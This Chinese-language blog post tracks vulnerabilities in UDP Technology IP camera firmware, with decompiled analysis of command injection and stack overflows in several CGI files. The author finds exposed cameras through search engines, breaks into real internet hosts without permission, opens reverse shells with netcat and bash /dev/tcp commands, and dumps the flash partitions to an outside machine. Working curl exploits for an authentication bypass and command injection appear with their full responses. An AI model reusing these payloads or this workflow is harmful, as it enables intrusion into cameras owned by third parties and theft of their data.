对于 UDPt 漏洞的跟踪实践

背景

事件的起源来自于这篇文章:
UDP Technology IP Camera vulnerabilities
RandoriSec
Randorisec 研究小组又一次在 Geutebruck 的摄像头固件中发掘出了大量漏洞。情况如下:
CGI
Short description
CVE
N/A
Authentication Bypass
CVE-2021-33543
certmngr.cgi
Command injection multiple parameters
CVE-2021-33544
countreport.cgi
Stack Buffer Overflow
CVE-2021-33545
encprofile.cgi
Stack Buffer Overflow
CVE-2021-33546
evnprofile.cgi
Stack Buffer Overflow
CVE-2021-33547
factory.cgi
Command injection in preserve parameter
CVE-2021-33548
instantrec.cgi
Stack Buffer Overflow
CVE-2021-33549
language.cgi
Command injection in date parameter
CVE-2021-33550
oem.cgi
Command injection in environment.lang parameter
CVE-2021-33551
simple_reclistjs.cgi
Command injection in date parameter
CVE-2021-33552
testcmd.cgi
Command injection in command parameter
CVE-2021-33553
tmpapp.cgi
Command injection in appfile.filename parameter
CVE-2021-33554
于是便就这这次事件,实践一下 IoT 利用一条龙,作为基础知识的补充。

固件获取

官方下载

UDP technology 公司为许多 IP 摄像机供应商提供固件,当然也包括了本次被审计的设备厂商 Geutebruck。
Randorisec 小组本次的目标是 UDPt 提供给 Geutebruck 的 IP Camera 的最新版本固件1.12.0.27。为了接下来的研究,我们首先需要搞到相应的固件。Randorisec 手中有真实设备,并由此获取到了固件,但我们只能另寻它路了。
首先想到的是从厂商官网下载。于是便去到 Geutebruck 官网,但苦于未能注册成功,没能获取到下载链接。遂转而求于 UDP technology 的官网(毕竟前者设备的固件实际上是后者提供的):https://vcatechnology.com/udp-technology/
在成功的注册与登陆之后,我们可以顺利获取到相应的固件文件:IPN_FW_V1.12.0.25.zip(md5sum: 3ab734d38f58bdf3080948c8caddb698)。解压之后得到 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc 。这里就开始感觉不妙——文件是以 .enc 结尾的,这基本意味着固件是被加密的。还是先查看一下文件信息吧:
1
-rwxrw-rw- 1 dev2ero dev2ero 29M Jul 12 17:51 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
2
3
Lab$ file ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
4
ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc: data
5
6
Lab$ binwalk ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
7
……
8
13321807 0xCB464F Zlib compressed data, default compression
9
13324093 0xCB4F3D Zlib compressed data, default compression
10
13326658 0xCB5942 Zlib compressed data, default compression
11
13329325 0xCB63AD Zlib compressed data, default compression
12
13331975 0xCB6E07 Zlib compressed data, default compression
13
13535768 0xCE8A18 Zlib compressed data, default compression
14
……
15
16
Lab$ binwalk -E ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
17
如下图
Copied!
binwalk -E 熵图
可以看到 binwalk 分析出其中包含了大量 Zlib 压缩文件格式。但实际上这只是因为分块加密导致 Zlib 压缩格式文件头对应的二进制值恰巧周期性出现。由熵图可以看出固件文件实际上几乎完全由均匀分布的数据组成,这是明显的被加密了的特征。
原本分析的初期思路上,刚迈开脚步就被阻塞在了这里。只得改换方案了。

Search & Hack & Dump

获取特定固件的路径有很多,但最简单的方法已经不好用了。不过既然 Randorisec 告诉了我们这么多漏洞,不如直接使用它们对互联网上的真实设备进行 GetShell?
那么接下来的问题就变成了——我们该如何在互联网上找到满足条件的真实设备进行渗透?这里就要请出诸如 Shodan、Zoomeye、FOFA、Quake 等网络空间测绘搜索引擎了。费了一番精力后我在这里选择了 Zoomeye:https://www.zoomeye.org/ 😎💦
好!接下来就可以……
咦?我得到了一个搜索公网设备的搜索引擎输入框,不过我应该在这里输入什么?😅
诸如 Zoomeye 等网络空间测绘系统,所搜索的服务数据实际上是对应设备的特定端口返回的数据。那不妨先使用本次出场的厂商名 Geutebruck 作为关键词进行搜索。
嗯,的确返回了不少结果,大部分设备也位于德国,这和 Geutebruck 是主供德国的德国厂商这条信息也吻合。挑选其中一个访问一下:
得到的是一个 G-Web 的登陆界面。经 Google 后可以确认 G-Web 的确是 Geutebruck 的IP Camera 的访问界面。
遂使用 Geutebruck 提供的漏洞(具体的漏洞分析放在了文章后面)进行攻击——失败……
可能是该摄像头已升级固件修复了漏洞?在使用脚本批量对于一部分 G-Web 进行 PoC 验证后,无一成功。
——这就比较诡异了,原因也有待考察。不过就眼下来说,难道这条获取固件的路径也被堵上了吗?💢
不,我们还有使用了 UDPt 所提供的固件的其它厂商设备,这使得生机尚存。遂以同样的方式搜索暴露于互联网上的设备,但却收获甚寥。
想来应该是我的搜索姿势有误……变换了几种搜索约束也是收效甚微,到底该以什么特征搜索其它使用了 UDPt 固件的设备呢?owl 帮助我找到了一条 twitter:https://twitter.com/RandoriSec/status/1291723991175102466
这条 twitter 是关于此前 Randorisec 挖掘到的 UDPt 的更早的漏洞。评论区的老哥1给出了又一个网络空间测绘引擎 ONYPHE 中用到的查询语句:category:datascan device.productvendor:Geutebruck device.class:Camera。使用它我们可以精准定位到网络上的 Geutebruck 摄像头,而这条十分好用的查询语句的小缺点便是它用到了需要收费的高级搜索键。叒只得作罢。
好在老哥2给出了免费信息:
Nice ! And 3x more by searching for "/viewer/main.html" (to target other brands)
差点断掉的线索就这样续上了。使用"/viewer/main.html"作为搜索关键词,的确筛选出了大量其它厂商的 UDPt 固件设备。而这些设备的一个特征便是含有webroot/viewer/main.html文件。

Hack

由上一节的信息来搜索,我们顺利挑选了一位受害者:24.xxx.xxx.x:82。先访问下看看:
直接跳转到了 http://24.xxx.xxx.x:82/viewer/main.html。且没有经过任何认证直接给了访问者画面
我们使用 Randorisec 提过的 Nday 历史漏洞进行攻击。对于其中的一个漏洞进行 RCE,构造 Payload 如下:
http://24.xxx.xxx.x:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1%7C=2&()%20%7b%20%3a%3b%7d%3b%20nc%20AA.AAA.AAA.AA:BBBB%20-e%20/bin/bash=1
其中的AA.AAA.AAA.AA:BBBB是我们的攻击机的 IP:port。该 payload 使得远程进行如下代码执行:nc AA.AAA.AAA.AA:BBBB -e /bin/bash。同时在攻击机上监听 BBBB 端口 nc -l BBBB。这样就在我们的攻击机上获取了一个该摄像头的shell。
附另一种 nc 反弹 shell:
1
nc -vvlp 3000
2
bash -i >& /dev/tcp/60.205.205.99/3000 0>&1
Copied!

Dump

有了shell,下一步就是获取文件系统了。
我们要直接下载文件系统里的文件吗?否。Linux的哲学是“一切皆文件”,那么存放固件的存储设备自然也不例外。先看一下 /dev/ 下都有些啥:
1
ls /dev
2
MAKEDEV
3
audio
4
bus
5
cmem
6
console
7
core
8
csl0
9
csl1
10
csl2
11
csl3
12
csl4
13
csl5
14
csl6
15
csl7
16
csl8
17
csl9
18
dev_dma
19
dev_i2c
20
dm365_adc
21
dm365mmap
22
dm368
23
drv8834
24
dsp
25
edma
26
eeprom
27
fd
28
full
29
gpio_dm36x
30
i2c
31
imxXXX
32
irqk
33
kmem
34
kmsg
35
log
36
loop
37
mem
38
mixer
39
mtd0
40
mtd0ro
41
mtd1
42
mtd10
43
mtd10ro
44
mtd11
45
mtd11ro
46
mtd1ro
47
mtd2
48
mtd2ro
49
mtd3
50
mtd3ro
51
mtd4
52
mtd4ro
53
mtd5
54
mtd5ro
55
mtd6
56
mtd6ro
57
mtd7
58
mtd7ro
59
mtd8
60
mtd8ro
61
mtd9
62
mtd9ro
63
mtdblock0
64
mtdblock1
65
mtdblock10
66
mtdblock11
67
mtdblock2
68
mtdblock3
69
mtdblock4
70
mtdblock5
71
mtdblock6
72
mtdblock7
73
mtdblock8
74
mtdblock9
75
mtdpart
76
net
77
null
78
port
79
ppp
80
ptmx
81
pts
82
random
83
rd
84
rtc0
85
shm
86
snd
87
sndstat
88
sound
89
spidev0.0
90
spidev1.0
91
stderr
92
stdin
93
stdout
94
tts
95
tty
96
urandom
97
usbdev1.1_ep00
98
usbdev1.1_ep81
99
v4l
100
vc
101
vcc
102
video2
103
video3
104
watchdog
105
zero
Copied!
可以注意到其中的 mtd* 设备文件。
MTD(memory technology device内存技术设备)是用于访问memory设备(ROM、flash)的Linux的子系统。 (/dev/mtd): MTD字符驱动程序允许直接访问flash器件,通常用来在flash上创建文件系统,也可以用来直接访问不频繁修改的数据。 (dev/mtdblock): MTD块设备驱动程序可以让flash器件伪装成块设备,实际上它通过把整块的erase block放到ram里面进行访问,然后再更新到flash,用户可以在这个块设备上创建通常的文件系统。
所以说,我们只要把所有的mtd中的数据dump下来,里面肯定有我们想要的东西。
使用 mountscat /proc/mtd 获取相应的设备信息如下:
1
mount
2
rootfs on / type rootfs (rw)
3
/dev/root on / type cramfs (ro)
4
proc on /proc type proc (rw)
5
sysfs on /sys type sysfs (rw)
6
tmpfs on /tmp type tmpfs (rw)
7
tmpfs on /var type tmpfs (rw)
8
usbfs on /proc/bus/usb type usbfs (rw)
9
/dev/root on /dev/.static/dev type cramfs (ro)
10
tmpfs on /dev type tmpfs (rw)
11
devpts on /dev/pts type devpts (rw)
12
/dev/mtdpart/database_block on /mnt/db type jffs2 (ro)
13
/dev/mtdpart/rwfs_block on /mnt/rwfs type jffs2 (rw,sync)
14
/dev/mtdpart/rwfs2_block on /mnt/rwfs2 type jffs2 (rw,sync)
15
/dev/mtdpart/userfs_block on /mnt/userfs type jffs2 (rw,sync)
16
tmpfs on /mnt/ramdisk type tmpfs (rw)
17
/dev/mtdpart/rfs_block on /tmp/rfs type jffs2 (rw)
18
19
cat /proc/mtd
20
dev: size erasesize name
21
mtd0: 00300000 00020000 "bootloader"
22
mtd1: 00200000 00020000 "bootparams"
23
mtd2: 00200000 00020000 "dfkernel"
24
mtd3: 01000000 00020000 "dfrootfs"
25
mtd4: 00200000 00020000 "kernel"
26
mtd5: 02000000 00020000 "rootfs"
27
mtd6: 02000000 00020000 "userfs"
28
mtd7: 00800000 00020000 "database"
29
mtd8: 03c00000 00020000 "rwfs"
30
mtd9: 02800000 00020000 "rwfs2"
31
mtd10: 00100000 00020000 "rfs"
32
mtd11: 03a00000 00020000 "space"
Copied!
我们将所有的 mtd* 设备文件下载下来,使用的依然是万能的 netcat:
1
# 攻击机
2
nc -l BBBB > mtdN
3
# 摄像头
4
nc AA.AAA.AAA.AA BBBB < /dev/mtdN
Copied!
cat /proc/mtd 的输出我们可以看到 mtd5 对应的是 rootfs。
使用 binwalk 解压后,并没有找到 cgi 文件。发现 webroot 居然是 tmpfs 的 ramdisk。那就直接把 webroot 打包下载下来吧:
1
# 攻击机
2
nc -l BBBB | tar xfvz -
3
# 摄像头
4
cd webroot
5
tar cfz - * | nc AA.AAA.AAA.AA BBBB
Copied!
最后拼凑出了文件系统样本,并得到了相应的 webroot 中包含的漏洞 cgi 文件。

漏洞分析

手中有了样本,不妨先来进行一波漏洞分析。

Command injection

certmngr.cgi

Command injection multiple parameters
依据交叉引用,定位到如下的 system 函数调用处:
1
int __fastcall sub_B7AC(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, int a9, int a10, const char *a11)
2
{
3
……
4
snprintf(
5
s,
6
0x1000u,
7
"/usr/bin/openssl req -config %s -new -subj \"/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s\" -key %s -out %s",
8
"/usr/local/ssl/.openssl.cnf",
9
a3,
10
a4,
11
a5,
12
a6,
13
a7,
14
a8,
15
"/usr/local/ssl/.cap.key",
16
a11);
17
system(s);
18
return 0;
19
}
Copied!
可以看到 system 函数的参数 s 是使用 snprintf 构建的。所构建的参数如下:
1
/usr/bin/openssl req -config /usr/local/ssl/.openssl.cnf -new -subj "/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s" -key /usr/local/ssl/.cap.key -out %s
Copied!
这里使用字符串拼接来构造所要执行的命令——若我们能控制此时的格式化字符串参数,就可以命令注入得到RCE了。
所以继续回溯参数传递,发现有两条路径可以直达 main:
1
int __fastcall sub_BE98(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, int a9, int a10)
2
{
3
……
4
sub_B7AC(v11, v12, v13, v14, a5, a6, a7, a8, a9, a10, "/mnt/rwfs/addon/ssl/requestcsr.pem");
5
……
6
}
7
8
int main() {
9
……
10
if ( !strcasecmp(v4, "createcert") )
11
{
12
sub_BE98((int)v19, (int)v20, v21, v22, v23, v24, v25, v26, (int)v27, (int)v28);
13
goto LABEL_3;
14
}
15
……
16
}
Copied!
1
int __fastcall sub_BF14(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, const char *a9, int a10)
2
{
3
……
4
sub_B7AC(v11, v12, v13, v14, a5, a6, a7, a8, (int)a9, a10, "/mnt/rwfs/addon/ssl/csr.pem");
5
……
6
}
7
8
int main() {
9
……
10
if ( !strcasecmp(v4, "createselfcert") )
11
{
12
sub_BF14((int)v19, (int)v20, v21, v22, v23, v24, v25, v26, v27, (int)v28);
13
LABEL_3:
14
v9 = 0;
15
goto LABEL_4;
16
}
17
……
18
}
Copied!
而在 main 中,这些参数的最终来源都是 url 中的可以被我们直接控制的请求参数:
1
v3 = qCgiRequestParseQueries(0, 0);
2
v4 = (char *)sub_A010(v3, "action");
3
v19 = v4;
4
v5 = (char *)sub_A010(v3, "group");
5
v20 = v5;
6
v12 = (char *)sub_A010(v3, "country");
7
v21 = v12;
8
v13 = (char *)sub_A010(v3, "state");
9
v22 = v13;
10
v14 = (char *)sub_A010(v3, "local");
11
v23 = v14;
12
v15 = (char *)sub_A010(v3, "organization");
13
v24 = v15;
14
ptr = (char *)sub_A010(v3, "organizationunit");
15
v25 = ptr;
16
v6 = (char *)sub_A010(v3, "commonname");
17
v26 = v6;
18
v7 = (char *)sub_A010(v3, "days");
19
v27 = v7;
20
v8 = (char *)sub_A010(v3, "type");
21
v28 = v8;
Copied!
多个用户可控的参数就构成了 RCE。

factory.cgi

Command injection in preserve parameter
依据交叉引用定位到 system 函数的调用处,发现全部存在于 main 函数中:
1
int main() {
2
……
3
v11 = (const char *)(*(int (__fastcall **)(int, const char *, int))(v3 + 88))(v3, "preserve", 1);
4
v16 = 0;
5
memset(s, 0, sizeof(s));
6
system("/etc/init.d/vca_daemon stop > /dev/null");
7
system("echo factory.cgi >> /tmp/fsreset_reboot");
8
if ( v11 )
9
{
10
*(&v15 + snprintf(&v15, 0x1FFu, "Run software factory default \n")) = 0;
11
*(&v12 + snprintf(&v12, 0x1FFu, "%s", "factory.c")) = 0;
12
v13[snprintf(v13, 0x1FFu, "%s", "main")] = 0;
13
v14[snprintf(v14, 0x1FFu, "%d", 99)] = 0;
14
APPLOG_Write(3, 0, &v12, v13, v14, &v15);
15
snprintf(&v16, 0x80u, "/usr/sbin/fsreset %s > /dev/null", v11);
16
system("/usr/bin/dbsync > /dev/null");
17
system(&v16);
18
}
19
else
20
{
21
*(&v15 + snprintf(&v15, 0x1FFu, "Run Hardware factory default \n")) = 0;
22
*(&v12 + snprintf(&v12, 0x1FFu, "%s", "factory.c")) = 0;
23
v13[snprintf(v13, 0x1FFu, "%s", "main")] = 0;
24
v14[snprintf(v14, 0x1FFu, "%d", 93)] = 0;
25
APPLOG_Write(3, 0, &v12, v13, v14, &v15);
26
system("/usr/bin/dbsync > /dev/null");
27
system("/usr/sbin/fsreset > /dev/null");
28
}
29
……
30
}
Copied!
参数可控的位置只有 system(&v16) 处。回溯 v16 的来源,发现是来自于 preserve 参数。preserve 参数可控,故此处产生了一个命令注入。

language.cgi

Command injection in date parameter
由 popen 函数的交叉引用定位到漏洞点:
1
int main() {
2
……
3
v25[0] = 0;
4
memset(&v25[1], 0, 0x7Fu);
5
……
6
pszDate = DEFINE_SearchParameter(v3, "date");
7
……
8
snprintf(v25, 0x80u, "ls -1 /usr/www/language/*.xml");
9
if ( pszDate )
10
{
11
strcat(v25, "-");
12
strcat(v25, (const char *)pszDate);
13
strcat(v25, "-*-*");
14
}
15
strcat(v25, " 2> /dev/null | awk '{print \"\\\"\"$1\"\\\"$\"}'");
16
……
17
v5 = popen(v25, "r");
18
……
19
}
Copied!
经过命令拼接后,可见用户可控的 date 参数会在 v5 = popen(v25, "r"); 处造成命令注入。

oem.cgi

Command injection in environment.lang parameter
action 参数为空时,执行 RunSet 函数。RunSet 函数中,会将 environment.lang 参数的值拼接至/usr/sbin/xmlparam -f /usr/www/environment.xml -set web.lang= 后方构成完整命令并执行。这里就出现了命令注入。
1
int main() {
2
……
3
v4 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v3 + 88))(v3, "action", 0);
4
if ( !v4 )
5
goto LABEL_13;
6
……
7
LABEL_13:
8
RunSet(v3);
9
……
10
}
11
12
int RunSet(int a1) {
13
……
14
v14 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(a1 + 88))(a1, "environment.lang", 0);
15
if ( v14 )
16
{
17
snprintf(&s, 0x100u, "/usr/sbin/xmlparam -f %s -set web.lang=\"%s\"", "/usr/www/environment.xml", v14);
18
v15 = popen(&s, "r");
19
……
20
}
Copied!

simple_reclistjs.cgi

Command injection in date parameter
date 参数中的,直接在 main 函数中出现的字符串拼接导致的命令注入:
1
int main() {
2
……
3
v25[0] = 0;
4
memset(&v25[1], 0, 0x7Fu);
5
……
6
pszDate = DEFINE_SearchParameter(v3, "date");
7
……
8
snprintf(v25, 0x80u, "ls -lhrt /mnt/mmc");
9
if ( pszDate )
10
{
11
strcat(v25, " | grep -e -");
12
strcat(v25, (const char *)pszDate);
13
strcat(v25, "-");
14
}
15
strcat(v25, " | grep ");
16
strcat(v25, ".avi");
17
strcat(v25, " | awk '{print \"\\\"/mnt/mmc/\" $9 \"\\\", \\\"\" $5 \"\\\"$\"}'");
18
……
19
v5 = popen(v25, "r");
20
……
21
}
Copied!

testcmd.cgi

Command injection in command parameter
v1 的值由 command 参数传入,并在下方的 popen 处导致命令注入:
1
int sub_88E8() {
2
……
3
v1 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v0 + 88))(v0, "command", 0);
4
if ( v1 )
5
{
6
……
7
v4 = popen(v1, "r");
8
……
9
}
Copied!
向上回溯一级可知,此处的 sub_88E8 函数实际上就是 main 函数:
1
void __noreturn start(void (*a1)(void), int a2, int a3, int a4, ...)
2
{
3
……
4
_libc_start_main(
5
(int (__fastcall *)(int, char **, char **))sub_88E8,
6
……
7
}
Copied!

tmpapp.cgi

Command injection in appfile.filename parameter
此处 appfile.filename 参数传入后用于与 "/var/app/tmp_" 字符串拼接成为完整路径。并在两种不同的执行路径下分别被传入 RunPackage 或 StartApp 函数中:
1
int main() {
2
……
3
v4 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v3 + 88))(v3, "appfile.filename", 0);
4
……
5
v13 = (char *)malloc(v12);
6
snprintf(v13, v12, "%s/%s%s", "/var/app", "tmp_", v4);
7
……
8
if ( !strncasecmp(".pkg", v9, 4u) )
9
{
10
RunPackage(v13, v15);
11
goto LABEL_25;
12
}
13
if ( !strncasecmp("start", v5, 6u) )
14
{
15
StartApp(v13, v6, v15);
16
goto LABEL_25;
17
}
18
……
19
}
Copied!
首先,在 RunPackage 函数中,access(v5, 0) && mkdir(v5, 0x1FFu) 为 0 则对上述完整路径进行 ExtractFile。在 ExtractFile 中则将路径名拼接至 tar xf %s -C %s &> /dev/null命令中。构成命令注入。
1
int __fastcall RunPackage(const char *a1, int a2)
2
{
3
……
4
if ( access(v5, 0) && mkdir(v5, 0x1FFu) )
5
{
6
if ( v5 )
7
free(v5);
8
result = 1;
9
}
10
else
11
{
12
ExtractFile(a1, v5);
13
……
14
}
15
16
int __fastcall ExtractFile(const char *a1, const char *a2)
17
{
18
……
19
snprintf(&s, 0x200u, "tar xf %s -C %s &> /dev/null", a1, a2);
20
v5 = popen(&s, "r");
21
……
22
}
Copied!
类似的,在 StartApp 函数中,路径名会在 snprintf 函数处被拼接导致命令注入:
1
int __fastcall StartApp(const char *a1, const char *a2, const char *a3)
2
{
3
……
4
snprintf(
5
&s,
6
0x200u,
7
"/sbin/start-stop-daemon --start --quiet --oknodo --background --pidfile %s -m --exec %s %s &> /dev/null",
8
a3,
9
a1,
10
a2);
11
v7 = popen(&s, "r");
12
……
13
}
Copied!

Stack Overflow

instantrec.cgi

进入 main 函数后我们不难看到,对于 v11 和 v16 两个栈变量使用了不安全的字符串操作函数 strcat。同时向上回溯作为函数参数被写入栈上的 pszOption 和 pszAction 两个变量,发现其来自于用户可控的参数 option 和 action。由于 option 和 action 是可以自定义内容且长度不限的字符串,故此处出现栈溢出漏洞。
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
……
4
char v11[16]; // [sp+8h] [bp-828h] BYREF
5
……
6
char v16[12]; // [sp+608h] [bp-228h] BYREF
7
……
8
pszXML = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "xmlschema");
9
pszAction = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "action");
10
pszOption = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "option");
11
pszTimeKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "timekey");
12
pszTempKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "_");
13
pszNoCmd = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "nocmd");
14
pszAsync = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "async");
15
pszDebug = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "debug");
16
……
17
strcat(v16, ".");
18
strcat(v16, (const char *)pszAction);
19
……
20
if ( pszXML )
21
{
22
if ( v6 )
23
{
24
……
25
if ( pszOption )
26
{
27
strcat(v11, "|");
28
strcat(v11, (const char *)pszOption);
29
strcat(v11, "sec");
30
}
31
strcat(v11, "|");
32
strcat(v11, v7);
33
……
34
}
Copied!

encprofile.cgi

栈溢出漏洞,与上一例同理,只不过这次出现在 profile 参数上:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
……
4
char s[512]; // [sp+14h] [bp-22Ch] BYREF
5
……
6
pszTimeKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "timekey");
7
pszTempKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "_");
8
pszXML = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "xmlschema");
9
pszSchema = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "schema");
10
pszListformat = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "listformat");
11
pszNoCmd = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "nocmd");
12
pszAsync = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "async");
13
v4 = (char *)DEFINE_SearchParameter((Q_ENTRY *)v3, "action");
14
pszDebug = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "debug");
15
pszProfile = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, (const unsigned __int8 *)"profile");
16
pszName = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, (const unsigned __int8 *)"name");
17
……
18
if ( pszProfile )
19
{
20
strcat(s, ".");
21
strcat(s, (const char *)pszProfile);
22
……
23
}
Copied!

evnprofile.cgi

栈溢出漏洞,与上一例同理,这次依然出现在 profile 参数上:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
……
4
char s[512]; // [sp+14h] [bp-22Ch] BYREF
5
……
6
dword_1895C = sub_C78C(v9, "timekey");
7
dword_1874C = sub_C78C(v9, "xmlschema");
8
dword_18960 = sub_C78C(v9, "schema");
9
dword_18964 = sub_C78C(v9, "listformat");
10
dword_18958 = sub_C78C(v9, "nocmd");
11
dword_18968 = sub_C78C(v9, "async");
12
v14 = (char *)sub_C78C(v9, "action");
13
dword_1896C = sub_C78C(v9, "debug");
14
dword_18754 = sub_C78C(v9, "profile");
15
……
16
if ( dword_18754 )
17
{
18
strcat(s, ".");
19
strcat(s, (const char *)dword_18754);
20
……
21
}
Copied!

countreport.cgi

漏洞实践 POC

CVE-2017-5173 ~ CVE-2017-5174

1
curl --socks5 127.0.0.1:7890 -v -d "type=ip&ip=eth0 1.1.1.1;pwd" -X POST http://24.185.116.6:82/uapi-cgi/viewer/testaction.cgi
2
failed
Copied!
1
curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1|=2&()%20%7b%20%3a%3b%7d%3b%20pwd"
2
* Trying 127.0.0.1...
3
* TCP_NODELAY set
4
* SOCKS5 communication to 24.185.116.6:82
5
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1|=2&()%20%7b%20%3a%3b%7d%3b%20pwd HTTP/1.1
9
> Host: 24.185.116.6:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
13
< HTTP/1.1 200 OK
14
< Cache-Control: no-cache, max-age=0
15
< Pragma: no-cache
16
< Expires: Mon, 09 Aug 2021 04:10:33 GMT
17
< Content-Type: application/x-javascript
18
< Transfer-Encoding: chunked
19
< Date: Mon, 09 Aug 2021 04:10:33 GMT
20
< Server: lighttpd/1.4.35
21
<
22
// print command : find /var/log -name "*" -type f | grep 1| | awk '{print "\"" $1 "\"quot;}'
23
// print command : find /var/log -name "*" -type f | grep () { :;}; pwd | awk '{print "\"" $1 "\"quot;}'
24
function logList() {
25
this.logArray = [];
26
}
27
28
function logArray(name) {
29
this.name = name;
30
}
31
32
var log = new logList();
33
log.logArray.push(new logArray("/tmp/www_ramdisk/uapi-cgi"));
34
* Connection #0 to host 127.0.0.1 left intact
35
* Closing connection 0
Copied!
1
curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/admin/testaction.cgi?&type=ip&ip=eth0%2024.185.116.6:82|pwd|x"
2
failed
Copied!
1
curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/admin/testaction.cgi?type=ntp&server=%60sleep%205%60"
2
* Trying 127.0.0.1...
3
* TCP_NODELAY set
4
* SOCKS5 communication to 24.185.116.6:82
5
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /uapi-cgi/viewer/admin/testaction.cgi?type=ntp&server=%60sleep%205%60 HTTP/1.1
9
> Host: 24.185.116.6:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
13
< HTTP/1.1 200 OK
14
< Cache-Control: no-cache, max-age=0
15
< Pragma: no-cache
16
< Expires: Mon, 09 Aug 2021 04:18:38 GMT
17
< Content-Type: text/plain
18
< Transfer-Encoding: chunked
19
< Date: Mon, 09 Aug 2021 04:18:43 GMT
20
< Server: lighttpd/1.4.35
21
<
22
#204|NTP.server.state|`sleep 5`|Couldn't resolve host
23
24
* Connection #0 to host 127.0.0.1 left intact
25
* Closing connection 0
Copied!

CVE-2021-33543 ~ CVE-2021-33554

鉴权绕过。(--path-as-is参数避免curl自动优化掉url中的../)
1
curl --socks5 127.0.0.1:7890 -v --path-as-is "http://24.185.116.6:82/iij/../uapi-cgi/certmngr.cgi"
2
* Trying 127.0.0.1...
3
* TCP_NODELAY set
4
* SOCKS5 communication to 24.185.116.6:82
5
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /iij/../uapi-cgi/certmngr.cgi HTTP/1.1
9
> Host: 24.185.116.6:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
13
< HTTP/1.1 200 OK
14
< Cache-Control: no-cache, max-age=0
15
< Pragma: no-cache
16
< Expires: Mon, 09 Aug 2021 08:19:50 GMT
17
< Content-Length: 0
18
< Date: Mon, 09 Aug 2021 08:19:50 GMT
19
< Server: lighttpd/1.4.35
20
<
21
* Connection #0 to host 127.0.0.1 left intact
22
* Closing connection 0
Copied!
1
curl --socks5 127.0.0.1:7890 -v --path-as-is "http://24.185.116.6:82/iij/../uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(sleep%205)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything"
2
* Trying 127.0.0.1...
3
* TCP_NODELAY set
4
* SOCKS5 communication to 24.185.116.6:82
5
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /iij/../uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(sleep%205)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1
9
> Host: 24.185.116.6:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
13
< HTTP/1.1 200 OK
14
< Cache-Control: no-cache, max-age=0
15
< Pragma: no-cache
16
< Expires: Mon, 09 Aug 2021 08:28:21 GMT
17
< Content-Type: text/xml
18
< Transfer-Encoding: chunked
19
< Date: Mon, 09 Aug 2021 08:28:29 GMT
20
< Server: lighttpd/1.4.35
21
<
22
<?xml version="1.0" encoding="UTF-8" ?>
23
<SSL>
24
<result>OK</result>
25
<description>Self create complete.</description>
26
</SSL>
27
* Connection #0 to host 127.0.0.1 left intact
28
* Closing connection 0
Copied!
1
curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.27.12.81:82/jjj/../uapi-cgi/testcmd.cgi?command=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444)"
2
* Trying 127.0.0.1...
3
